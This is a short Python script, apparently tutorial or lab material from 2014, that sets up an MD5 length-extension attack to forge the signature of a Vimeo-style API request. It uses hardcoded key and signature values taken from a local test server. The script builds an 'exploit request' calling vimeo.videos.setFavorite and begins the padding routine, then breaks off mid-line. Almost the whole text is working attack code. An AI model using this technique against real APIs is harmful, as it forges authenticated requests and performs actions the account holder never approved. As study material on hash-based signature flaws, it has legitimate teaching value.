""" Adapted from Filippo Valsorda's tutorial Mia Stein, 2014 """ from md5 import MD5 import binascii import struct import sys import requests # change the values from the server at # localhost:4242 here API_KEY = '3662b89cf7b76743831420a4fd5cf2df' API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92' # regular request old_request = { 'method': 'vimeo.test.login', 'api_key' : API_KEY, } # exploit request new_request = { 'method': 'vimeo.videos.setFavorite', 'api_key' : API_KEY, 'video_id' : '1337', 'favorite' : '1', } # concatenate all the string def concatenate(req): res = "" for k, v in sorted(req.items()): res += k res += v return res # adapted from the function md5, just add the paddings def make_md5_pad(l): length = struct.pack('